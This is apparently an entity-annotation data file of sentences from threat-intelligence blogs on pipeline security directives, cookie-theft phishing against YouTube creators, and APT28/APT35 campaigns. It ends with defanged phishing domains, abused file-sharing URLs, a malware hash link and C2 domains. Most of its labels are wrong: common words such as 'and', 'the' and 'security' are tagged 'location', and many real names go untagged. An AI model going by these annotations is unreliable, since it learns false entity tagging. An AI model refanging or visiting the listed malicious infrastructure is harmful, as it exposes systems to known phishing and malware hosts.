tomorrow.","entities":[{"id":26189,"label":"location","start_offset":17,"end_offset":21},{"id":26190,"label":"location","start_offset":32,"end_offset":36},{"id":26191,"label":"location","start_offset":56,"end_offset":62},{"id":26192,"label":"location","start_offset":147,"end_offset":150},{"id":26194,"label":"location","start_offset":174,"end_offset":177}],"relations":[],"Comments":[]} {"id":8495,"text":" Our research teams and threat hunters will work vigilantly to monitor and identify any new threat intelligence and will continue to share updates here: trendmicro.com\/ukrainecrisis.","entities":[{"id":26196,"label":"location","start_offset":22,"end_offset":25},{"id":26197,"label":"location","start_offset":33,"end_offset":40},{"id":26198,"label":"location","start_offset":41,"end_offset":45},{"id":26199,"label":"location","start_offset":65,"end_offset":72},{"id":26200,"label":"location","start_offset":73,"end_offset":76},{"id":26201,"label":"location","start_offset":114,"end_offset":117},{"id":26202,"label":"location","start_offset":118,"end_offset":122},{"id":26203,"label":"URL","start_offset":155,"end_offset":183}],"relations":[],"Comments":[]} {"id":8496,"text":"This blog has been revised to include new facts that have been released since the original posting.","entities":[],"relations":[],"Comments":[]} {"id":8497,"text":" Tags Cloud | Cyber Crime | Exploits & Vulnerabilities | Expert Perspective | Phishing | Cyber Threats | APT & Targeted Attacks | Endpoints | Mobile | Articles, News, Reports","entities":[{"id":26204,"label":"location","start_offset":10,"end_offset":15},{"id":26205,"label":"attack-pattern","start_offset":82,"end_offset":90},{"id":26206,"label":"location","start_offset":109,"end_offset":112},{"id":26207,"label":"location","start_offset":146,"end_offset":152}],"relations":[],"Comments":[]} -{"id":8498,"text":"Last July 20, 2021, the Department of Homeland Security’s (DHS) Transportation Security Administration (TSA) released its second security directive, requiring the owners and operators of TSA-designated critical pipelines to implement various protection against cyber attacks.","entities":[{"id":26214,"label":"location","start_offset":129,"end_offset":137},{"id":26215,"label":"location","start_offset":170,"end_offset":173},{"id":26217,"label":"location","start_offset":242,"end_offset":252}],"relations":[],"Comments":[]} -{"id":8499,"text":"According to Alejandro N. Mayorkas, Secretary of Homeland Security, through the directive the DHS can better ensure that the pipeline sector takes the much-needed steps to protect its operations against cyber threats.","entities":[{"id":26219,"label":"location","start_offset":36,"end_offset":45},{"id":26220,"label":"location","start_offset":49,"end_offset":57},{"id":26221,"label":"location","start_offset":58,"end_offset":66},{"id":26223,"label":"location","start_offset":98,"end_offset":101},{"id":26224,"label":"location","start_offset":151,"end_offset":155}],"relations":[],"Comments":[]} -{"id":8500,"text":"“Public-private partnerships are critical to the security of every community across our country and DHS will continue working closely with our private sector partners to support their operations and increase their cybersecurity resilience,” Mayorkas added.","entities":[{"id":26225,"label":"location","start_offset":1,"end_offset":7},{"id":26226,"label":"location","start_offset":29,"end_offset":32},{"id":26227,"label":"location","start_offset":49,"end_offset":57},{"id":26228,"label":"location","start_offset":67,"end_offset":76},{"id":26229,"label":"location","start_offset":96,"end_offset":99},{"id":26231,"label":"location","start_offset":104,"end_offset":108},{"id":26232,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]} {"id":8501,"text":"This is the second directive the TSA issued to the pipeline sector this 2021, building on the initial Security Directive released on May 2021 following the ransomware attack on Colonial Pipeline by DarkSide.","entities":[],"relations":[],"Comments":[]} -{"id":8502,"text":"The second directive requires critical pipeline owners and operators to implement specific mitigation measures to protect against ransomware attacks and other threats to IT and OT systems.","entities":[{"id":26242,"label":"location","start_offset":55,"end_offset":58},{"id":26243,"label":"location","start_offset":149,"end_offset":152},{"id":26244,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]} -{"id":8503,"text":"It also requires owners and operators to develop and implement a cybersecurity contingency and recovery plan as well as to conduct a cybersecurity architecture design review.","entities":[{"id":26245,"label":"location","start_offset":24,"end_offset":27},{"id":26246,"label":"location","start_offset":49,"end_offset":52},{"id":26247,"label":"location","start_offset":91,"end_offset":94}],"relations":[],"Comments":[]} -{"id":8504,"text":"On the other hand, the May directive requires owners and operators to report confirmed and potential cybersecurity incidents to the Cybersecurity and Infrastructure Security Agency (CISA), assign a cybersecurity coordinator available 24\/7, review current practices, and determine any gaps related to remediation measures, addressing cyber-related risks and report the results to TSA and CISA.","entities":[{"id":26248,"label":"location","start_offset":13,"end_offset":17},{"id":26250,"label":"location","start_offset":53,"end_offset":56},{"id":26251,"label":"location","start_offset":87,"end_offset":90},{"id":26255,"label":"location","start_offset":266,"end_offset":269},{"id":26256,"label":"location","start_offset":353,"end_offset":356},{"id":26258,"label":"location","start_offset":383,"end_offset":386}],"relations":[],"Comments":[]} -{"id":8505,"text":"Aside from the new directives, it is also pertinent for pipeline operators and owners to keep up-to-date with the latest threats and risks related to smart factories.","entities":[{"id":26260,"label":"location","start_offset":75,"end_offset":78},{"id":26261,"label":"location","start_offset":100,"end_offset":104},{"id":26262,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]} -{"id":8506,"text":" Stakeholders must grasp their factory’s current situation, set goals, and identify ways to fill such goals alongside their current skills gap.","entities":[{"id":26263,"label":"location","start_offset":71,"end_offset":74},{"id":26264,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]} -{"id":8507,"text":"Moreover, best practices must be considered and implemented to keep operations running.","entities":[{"id":26265,"label":"location","start_offset":10,"end_offset":14},{"id":26266,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]} -{"id":8508,"text":"To learn more about protecting smart factories, check out the following forward-looking research by Trend Micro:","entities":[{"id":26267,"label":"location","start_offset":48,"end_offset":53}],"relations":[],"Comments":[]} -{"id":8509,"text":" Practical Risk Assessments for Smart Factories Best Practices for Securing Smart Factories: Three Steps to Keep Operations Running Tags Latest News | Cyber Threats | ICS OT | APT & Targeted Attacks | IoT | Ransomware | Articles, News, Reports","entities":[{"id":26269,"label":"location","start_offset":55,"end_offset":59},{"id":26271,"label":"location","start_offset":189,"end_offset":192}],"relations":[],"Comments":[]} -{"id":8510,"text":"Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":26273,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]} {"id":8511,"text":"Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.","entities":[{"id":26275,"label":"attack-pattern","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]} {"id":8512,"text":"The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.","entities":[{"id":26277,"label":"location","start_offset":23,"end_offset":31},{"id":26279,"label":"location","start_offset":113,"end_offset":117},{"id":26280,"label":"location","start_offset":124,"end_offset":130},{"id":26281,"label":"tools","start_offset":232,"end_offset":237}],"relations":[],"Comments":[]} {"id":8513,"text":"In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.","entities":[{"id":26286,"label":"location","start_offset":85,"end_offset":88},{"id":26288,"label":"attack-pattern","start_offset":163,"end_offset":171}],"relations":[],"Comments":[]} {"id":8514,"text":"We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.","entities":[{"id":26294,"label":"location","start_offset":52,"end_offset":56},{"id":26295,"label":"attack-pattern","start_offset":66,"end_offset":74},{"id":26296,"label":"location","start_offset":75,"end_offset":79},{"id":26299,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]} -{"id":8515,"text":"With increased detection efforts, we’ve observed attackers shifting away from Gmail to other email providers (mostly email.cz, seznam.cz, post.cz and aol.com).","entities":[{"id":26305,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]} {"id":8516,"text":"Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.","entities":[],"relations":[],"Comments":[]} -{"id":8517,"text":"In this blog, we share examples of the specific tactics, techniques and procedures (TTPs) used to lure victims, as well as some guidance on how users can further protect themselves.","entities":[{"id":26308,"label":"location","start_offset":68,"end_offset":71},{"id":26309,"label":"location","start_offset":98,"end_offset":102},{"id":26310,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]} {"id":8518,"text":"Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.","entities":[{"id":26311,"label":"attack-pattern","start_offset":59,"end_offset":76}],"relations":[],"Comments":[]} -{"id":8519,"text":"While the technique has been around for decades, its resurgence as a top security risk could be due to a wider adoption of multi-factor authentication (MFA) making it difficult to conduct abuse, and shifting attacker focus to social engineering tactics.","entities":[{"id":26313,"label":"location","start_offset":73,"end_offset":81},{"id":26314,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]} -{"id":8520,"text":" Many YouTube creators provide an email address on their channel for business opportunities.","entities":[{"id":26315,"label":"location","start_offset":1,"end_offset":5}],"relations":[],"Comments":[]} -{"id":8521,"text":"In this case, the attackers sent forged business emails impersonating an existing company requesting a video advertisement collaboration.","entities":[{"id":26317,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]} {"id":8522,"text":"The phishing typically started with a customized email introducing the company and its products.","entities":[{"id":26318,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":26319,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]} {"id":8523,"text":"Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.","entities":[{"id":26320,"label":"location","start_offset":9,"end_offset":15},{"id":26321,"label":"location","start_offset":30,"end_offset":34},{"id":26322,"label":"location","start_offset":46,"end_offset":53},{"id":26323,"label":"location","start_offset":54,"end_offset":58},{"id":26325,"label":"location","start_offset":141,"end_offset":144},{"id":26327,"label":"attack-pattern","start_offset":193,"end_offset":201}],"relations":[],"Comments":[]} -{"id":8524,"text":"Around 15,000 actor accounts were identified, most of which were created for this campaign specifically.","entities":[{"id":26329,"label":"location","start_offset":46,"end_offset":50},{"id":26330,"label":"location","start_offset":82,"end_offset":90}],"relations":[],"Comments":[]} -{"id":8525,"text":" The attackers registered various domains associated with forged companies and built multiple websites for malware delivery.","entities":[{"id":26331,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]} -{"id":8526,"text":"To date, we’ve identified at least 1,011 domains created solely for this purpose.","entities":[{"id":26332,"label":"location","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]} -{"id":8527,"text":"Some of the websites impersonated legitimate software sites, such as Luminar, Cisco VPN, games on Steam, and some were generated using online templates.","entities":[{"id":26334,"label":"location","start_offset":54,"end_offset":59},{"id":26338,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]} {"id":8528,"text":"During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”","entities":[],"relations":[],"Comments":[]} -{"id":8529,"text":"In one case, we observed a fake social media page copying content from an existing software company.","entities":[{"id":26341,"label":"location","start_offset":7,"end_offset":11},{"id":26342,"label":"location","start_offset":39,"end_offset":44},{"id":26343,"label":"location","start_offset":45,"end_offset":49},{"id":26344,"label":"location","start_offset":58,"end_offset":65}],"relations":[],"Comments":[]} -{"id":8530,"text":"The following screenshot is an example of a fake page where the original URL is replaced with one leading to a cookie theft malware download.","entities":[{"id":26345,"label":"location","start_offset":49,"end_offset":53},{"id":26346,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]} {"id":8531,"text":"Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.","entities":[{"id":26348,"label":"location","start_offset":32,"end_offset":35},{"id":26349,"label":"attack-pattern","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]} -{"id":8532,"text":" Once the target runs the fake software, a cookie stealing malware executes, taking browser cookies from the victim’s machine and uploading them to the actor's command & control servers.","entities":[{"id":26354,"label":"location","start_offset":10,"end_offset":16},{"id":26355,"label":"location","start_offset":126,"end_offset":129},{"id":26356,"label":"location","start_offset":140,"end_offset":144}],"relations":[],"Comments":[]} -{"id":8533,"text":"Although this type of malware can be configured to be persistent on the victim's machine, these actors are running all malware in non-persistent mode as a smash-and-grab technique.","entities":[{"id":26357,"label":"location","start_offset":14,"end_offset":18},{"id":26358,"label":"location","start_offset":30,"end_offset":33},{"id":26359,"label":"location","start_offset":103,"end_offset":106},{"id":26360,"label":"location","start_offset":145,"end_offset":149},{"id":26361,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]} -{"id":8534,"text":"This is because if the malicious file is not detected when executed, there are less artifacts on an infected host and therefore security products fail to notify the user of a past compromise.","entities":[{"id":26362,"label":"location","start_offset":75,"end_offset":78},{"id":26363,"label":"location","start_offset":109,"end_offset":113},{"id":26364,"label":"location","start_offset":114,"end_offset":117},{"id":26365,"label":"location","start_offset":128,"end_offset":136}],"relations":[],"Comments":[]} -{"id":8535,"text":"We have observed that actors use various types of malware based on personal preference, most of which are easily available on Github.","entities":[{"id":26366,"label":"location","start_offset":88,"end_offset":92},{"id":26367,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]} {"id":8536,"text":"Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.","entities":[{"id":26372,"label":"malware","start_offset":79,"end_offset":86},{"id":26379,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]} {"id":8537,"text":"Open source malware like Sorano and AdamantiumThief were also observed.","entities":[{"id":26383,"label":"attack-pattern","start_offset":5,"end_offset":11},{"id":26385,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]} -{"id":8538,"text":"Related hashes are listed in the Technical Details section, at the end of this report.","entities":[{"id":26386,"label":"location","start_offset":15,"end_offset":18},{"id":26387,"label":"location","start_offset":51,"end_offset":58}],"relations":[],"Comments":[]} -{"id":8539,"text":"Most of the observed malware was capable of stealing both user passwords and cookies.","entities":[{"id":26388,"label":"location","start_offset":0,"end_offset":4},{"id":26389,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]} -{"id":8540,"text":"Some of the samples employed several anti-sandboxing techniques including enlarged files, encrypted archive and download IP cloaking.","entities":[{"id":26390,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]} {"id":8541,"text":"A few were observed displaying a fake error message requiring user click-through to continue execution.","entities":[],"relations":[],"Comments":[]} -{"id":8542,"text":" A large number of hijacked channels were rebranded for cryptocurrency scam live-streaming.","entities":[{"id":26391,"label":"location","start_offset":3,"end_offset":8}],"relations":[],"Comments":[]} -{"id":8543,"text":"The channel name, profile picture and content were all replaced with cryptocurrency branding to impersonate large tech or cryptocurrency exchange firms.","entities":[{"id":26392,"label":"location","start_offset":34,"end_offset":37},{"id":26393,"label":"location","start_offset":38,"end_offset":45},{"id":26394,"label":"location","start_offset":108,"end_offset":113},{"id":26395,"label":"location","start_offset":137,"end_offset":145},{"id":26396,"label":"location","start_offset":146,"end_offset":151}],"relations":[],"Comments":[]} -{"id":8544,"text":"The attacker live-streamed videos promising cryptocurrency giveaways in exchange for an initial contribution.","entities":[{"id":26397,"label":"location","start_offset":72,"end_offset":80}],"relations":[],"Comments":[]} {"id":8545,"text":"On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.","entities":[],"relations":[],"Comments":[]} -{"id":8546,"text":" These campaigns were carried out by a number of hack-for-hire actors recruited on Russian-speaking forums via the following job description, offering two types of work: This recruitment model explains the highly customized social engineering, as well as the varied malware types given each actor's choice of preferred malware.","entities":[{"id":26398,"label":"location","start_offset":49,"end_offset":53},{"id":26400,"label":"location","start_offset":125,"end_offset":128},{"id":26402,"label":"location","start_offset":187,"end_offset":192},{"id":26403,"label":"location","start_offset":280,"end_offset":285},{"id":26404,"label":"location","start_offset":299,"end_offset":305}],"relations":[],"Comments":[]} -{"id":8547,"text":" We are continuously improving our detection methods and investing in new tools and features that automatically identify and stop threats like this one.","entities":[{"id":26405,"label":"location","start_offset":4,"end_offset":7},{"id":26406,"label":"location","start_offset":53,"end_offset":56},{"id":26407,"label":"location","start_offset":80,"end_offset":83},{"id":26408,"label":"location","start_offset":121,"end_offset":124},{"id":26409,"label":"location","start_offset":125,"end_offset":129},{"id":26410,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]} -{"id":8548,"text":"Some of these improvements include: It is also important that users remain aware of these types of threats and take appropriate action to further protect themselves.","entities":[{"id":26411,"label":"location","start_offset":107,"end_offset":110},{"id":26412,"label":"location","start_offset":128,"end_offset":134}],"relations":[],"Comments":[]} {"id":8549,"text":"Our recommendations: Additional resources: Avoid & Report Phishing Emails.","entities":[{"id":26413,"label":"attack-pattern","start_offset":58,"end_offset":66}],"relations":[],"Comments":[]} {"id":8550,"text":"Related Malware hashes: Top Phishing Domains:","entities":[{"id":26414,"label":"attack-pattern","start_offset":28,"end_offset":36}],"relations":[],"Comments":[]} -{"id":8551,"text":"Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":26416,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]} {"id":8552,"text":"We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.","entities":[{"id":26417,"label":"location","start_offset":10,"end_offset":14},{"id":26418,"label":"location","start_offset":89,"end_offset":95},{"id":26419,"label":"attack-pattern","start_offset":117,"end_offset":125}],"relations":[],"Comments":[]} -{"id":8553,"text":"So far in 2021, we’ve sent over 50,000 warnings, a nearly 33% increase from this time in 2020.","entities":[{"id":26423,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]} -{"id":8554,"text":"This spike is largely due to blocking an unusually large campaign from a Russian actor known as APT28 or Fancy Bear.","entities":[{"id":26425,"label":"location","start_offset":51,"end_offset":56},{"id":26426,"label":"location","start_offset":57,"end_offset":65}],"relations":[],"Comments":[]} -{"id":8555,"text":"We intentionally send these warnings in batches to all users who may be at risk, rather than at the moment we detect the threat itself, so that attackers cannot track our defense strategies.","entities":[{"id":26430,"label":"location","start_offset":65,"end_offset":68},{"id":26431,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]} {"id":8556,"text":"On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]} -{"id":8557,"text":"This means that there is typically more than one threat actor behind the warnings.","entities":[{"id":26436,"label":"location","start_offset":5,"end_offset":10}],"relations":[],"Comments":[]} {"id":8558,"text":"In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.","entities":[{"id":26438,"label":"location","start_offset":37,"end_offset":41},{"id":26442,"label":"attack-pattern","start_offset":181,"end_offset":189}],"relations":[],"Comments":[]} -{"id":8559,"text":"This is the one of the groups we disrupted during the 2020 US election cycle for its targeting of campaign staffers.","entities":[{"id":26443,"label":"location","start_offset":12,"end_offset":15},{"id":26446,"label":"location","start_offset":71,"end_offset":76},{"id":26447,"label":"location","start_offset":98,"end_offset":106}],"relations":[],"Comments":[]} -{"id":8560,"text":"For years, this group has hijacked accounts, deployed malware, and used novel techniques to conduct espionage aligned with the interests of the Iranian government.","entities":[{"id":26449,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]} {"id":8561,"text":"In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.","entities":[{"id":26452,"label":"threat-actor","start_offset":15,"end_offset":20},{"id":26454,"label":"location","start_offset":64,"end_offset":74},{"id":26455,"label":"location","start_offset":78,"end_offset":82},{"id":26456,"label":"attack-pattern","start_offset":85,"end_offset":93}],"relations":[],"Comments":[]} -{"id":8562,"text":"Attackers sent email messages with links to this website to harvest credentials for platforms such as Gmail, Hotmail, and Yahoo.","entities":[{"id":26457,"label":"location","start_offset":60,"end_offset":67},{"id":26460,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]} {"id":8563,"text":"Users were instructed to activate an invitation to a (fake) webinar by logging in.","entities":[],"relations":[],"Comments":[]} {"id":8564,"text":"The phishing kit will also ask for second-factor authentication codes sent to devices.","entities":[{"id":26462,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":26463,"label":"location","start_offset":17,"end_offset":21}],"relations":[],"Comments":[]} {"id":8565,"text":"APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.","entities":[{"id":26465,"label":"threat-actor","start_offset":0,"end_offset":5},{"id":26467,"label":"location","start_offset":93,"end_offset":101},{"id":26469,"label":"location","start_offset":137,"end_offset":140},{"id":26470,"label":"location","start_offset":141,"end_offset":149},{"id":26471,"label":"location","start_offset":150,"end_offset":158}],"relations":[],"Comments":[]} {"id":8566,"text":"Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate – as they know it's difficult for users to detect this kind of attack.","entities":[{"id":26472,"label":"attack-pattern","start_offset":11,"end_offset":19},{"id":26473,"label":"location","start_offset":79,"end_offset":83}],"relations":[],"Comments":[]} {"id":8567,"text":"In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.","entities":[],"relations":[],"Comments":[]} -{"id":8568,"text":"The app was disguised as VPN software that, if installed, could steal sensitive information such as call logs, text messages, contacts, and location data from devices.","entities":[{"id":26477,"label":"location","start_offset":100,"end_offset":104},{"id":26478,"label":"location","start_offset":136,"end_offset":139}],"relations":[],"Comments":[]} -{"id":8569,"text":"Google detected the app quickly and removed it from the Play Store before any users had a chance to install it.","entities":[{"id":26480,"label":"location","start_offset":32,"end_offset":35},{"id":26482,"label":"location","start_offset":90,"end_offset":96}],"relations":[],"Comments":[]} {"id":8570,"text":"Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.","entities":[{"id":26484,"label":"location","start_offset":45,"end_offset":48},{"id":26485,"label":"threat-actor","start_offset":91,"end_offset":96}],"relations":[],"Comments":[]} {"id":8571,"text":"One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.","entities":[{"id":26488,"label":"location","start_offset":11,"end_offset":15},{"id":26490,"label":"attack-pattern","start_offset":107,"end_offset":115}],"relations":[],"Comments":[]} -{"id":8572,"text":"Attackers used the Munich Security and the Think-20 (T20) Italy conferences as lures in non-malicious first contact email messages to get users to respond.","entities":[{"id":26492,"label":"location","start_offset":35,"end_offset":38},{"id":26493,"label":"location","start_offset":58,"end_offset":63},{"id":26495,"label":"location","start_offset":108,"end_offset":115}],"relations":[],"Comments":[]} {"id":8573,"text":"When they did, attackers sent them phishing links in follow-on correspondence.","entities":[{"id":26496,"label":"location","start_offset":30,"end_offset":34},{"id":26497,"label":"attack-pattern","start_offset":35,"end_offset":43}],"relations":[],"Comments":[]} {"id":8574,"text":"Targets typically had to navigate through at least one redirect before landing on a phishing domain.","entities":[{"id":26499,"label":"location","start_offset":71,"end_offset":78},{"id":26500,"label":"attack-pattern","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]} -{"id":8575,"text":"Link shorteners and click trackers are heavily used for this purpose, and are oftentimes embedded within PDF files.","entities":[{"id":26501,"label":"location","start_offset":16,"end_offset":19},{"id":26502,"label":"location","start_offset":35,"end_offset":38},{"id":26503,"label":"location","start_offset":70,"end_offset":73},{"id":26504,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]} -{"id":8576,"text":"We’ve disrupted attacks using Google Drive, App Scripts, and Sites pages in these campaigns as APT35 tries to get around our defenses.","entities":[{"id":26507,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]} -{"id":8577,"text":"Services from Dropbox and Microsoft are also abused.","entities":[{"id":26511,"label":"location","start_offset":22,"end_offset":25},{"id":26513,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]} {"id":8578,"text":"One of APT35’s novel techniques involves using Telegram for operator notifications.","entities":[],"relations":[],"Comments":[]} {"id":8579,"text":"The attackers embed javascript into phishing pages that notify them when the page has been loaded.","entities":[{"id":26517,"label":"attack-pattern","start_offset":36,"end_offset":44},{"id":26518,"label":"location","start_offset":63,"end_offset":67},{"id":26519,"label":"location","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]} -{"id":8580,"text":"To send the notification, they use the Telegram API sendMessage function, which lets anyone use a Telegram bot to send a message to a public channel.","entities":[{"id":26522,"label":"location","start_offset":134,"end_offset":140}],"relations":[],"Comments":[]} {"id":8581,"text":"The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.","entities":[{"id":26523,"label":"location","start_offset":83,"end_offset":86},{"id":26524,"label":"location","start_offset":126,"end_offset":129},{"id":26525,"label":"attack-pattern","start_offset":159,"end_offset":167},{"id":26526,"label":"location","start_offset":168,"end_offset":173},{"id":26527,"label":"location","start_offset":177,"end_offset":181},{"id":26528,"label":"location","start_offset":182,"end_offset":186}],"relations":[],"Comments":[]} -{"id":8582,"text":"We reported the bot to Telegram and they have taken action to remove it.","entities":[{"id":26530,"label":"location","start_offset":32,"end_offset":35},{"id":26531,"label":"location","start_offset":52,"end_offset":58}],"relations":[],"Comments":[]} {"id":8583,"text":"We warn users when we suspect a government-backed threat like APT35 is targeting them.","entities":[{"id":26532,"label":"threat-actor","start_offset":62,"end_offset":67},{"id":26533,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]} -{"id":8584,"text":"Thousands of these warnings are sent every month, even in cases where the corresponding attack is blocked.","entities":[{"id":26535,"label":"location","start_offset":28,"end_offset":31}],"relations":[],"Comments":[]} -{"id":8585,"text":"If you receive a warning it does not mean your account has been compromised, it means you have been identified as a target.","entities":[{"id":26537,"label":"location","start_offset":80,"end_offset":85},{"id":26538,"label":"location","start_offset":116,"end_offset":122}],"relations":[],"Comments":[]} -{"id":8586,"text":"Workspace administrators are also notified regarding targeted accounts in their domain.","entities":[{"id":26539,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]} -{"id":8587,"text":"Users are encouraged to take these warnings seriously and consider enrolling in the Advanced Protection Program or enabling two-factor authentication if they haven't already.","entities":[{"id":26540,"label":"location","start_offset":6,"end_offset":9},{"id":26541,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]} -{"id":8588,"text":"We also block malicious domains using Google Safe Browsing – a service that Google's security team built to identify unsafe websites across the web and notify users and website owners of potential harm.","entities":[{"id":26546,"label":"location","start_offset":85,"end_offset":93},{"id":26547,"label":"location","start_offset":148,"end_offset":151},{"id":26548,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]} -{"id":8589,"text":"When a user of a Safe Browsing-enabled browser or app attempts to access unsafe content on the web, they’ll see a warning page explaining that the content they’re trying to access may be harmful.","entities":[{"id":26550,"label":"location","start_offset":80,"end_offset":87},{"id":26551,"label":"location","start_offset":122,"end_offset":126},{"id":26552,"label":"location","start_offset":147,"end_offset":154},{"id":26553,"label":"location","start_offset":180,"end_offset":183}],"relations":[],"Comments":[]} {"id":8590,"text":"When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.","entities":[],"relations":[],"Comments":[]} -{"id":8591,"text":"Threat Analysis Group will continue to identify bad actors and share relevant information with others in the industry, with the goal of bringing awareness to these issues, protecting you and fighting bad actors to prevent future attacks.","entities":[{"id":26557,"label":"location","start_offset":22,"end_offset":26},{"id":26558,"label":"location","start_offset":59,"end_offset":62},{"id":26559,"label":"location","start_offset":109,"end_offset":117},{"id":26560,"label":"location","start_offset":187,"end_offset":190}],"relations":[],"Comments":[]} {"id":8592,"text":"Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net Indicators from APT35 campaigns: Abused Google Properties: https:\/\/sites.google[.]com\/view\/ty85yt8tg8-download-rtih4ithr\/ https:\/\/sites.google[.]com\/view\/user-id-568245\/ https:\/\/sites.google[.]com\/view\/hhbejfdwdhwuhscbsb-xscvhdvbc\/ Abused Dropbox Properties: https:\/\/www.dropbox[.]com\/s\/68y4vpfu8pc3imf\/Iraq&Jewish.pdf ","entities":[{"id":26561,"label":"threat-actor","start_offset":16,"end_offset":21},{"id":26562,"label":"attack-pattern","start_offset":22,"end_offset":30},{"id":26563,"label":"location","start_offset":31,"end_offset":39},{"id":26564,"label":"threat-actor","start_offset":185,"end_offset":190},{"id":26565,"label":"URL","start_offset":229,"end_offset":255},{"id":26566,"label":"location","start_offset":256,"end_offset":260},{"id":26567,"label":"URL","start_offset":292,"end_offset":318},{"id":26568,"label":"location","start_offset":319,"end_offset":323},{"id":26569,"label":"URL","start_offset":340,"end_offset":366},{"id":26570,"label":"location","start_offset":367,"end_offset":371},{"id":26571,"label":"malware","start_offset":410,"end_offset":417},{"id":26572,"label":"URL","start_offset":430,"end_offset":455}],"relations":[],"Comments":[]} {"id":8593,"text":"Phishing Domains: nco2[.]live summit-files[.]com filetransfer[.]club continuetogo[.]me accessverification[.]online customers-verification-identifier[.]site service-activity-session[.]online identifier-service-review[.]site recovery-activity-identification[.]site review-session-confirmation[.]site recovery-service-activity[.]site verify-service-activity[.]site service-manager-notifications[.]info ","entities":[{"id":26573,"label":"attack-pattern","start_offset":0,"end_offset":8},{"id":26574,"label":"location","start_offset":30,"end_offset":36}],"relations":[],"Comments":[]} {"id":8594,"text":"Android App: https:\/\/www.virustotal.com\/gui\/file\/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5\/detection Android App C2: communication-shield[.]site cdsa[.]xyz","entities":[],"relations":[],"Comments":[]} 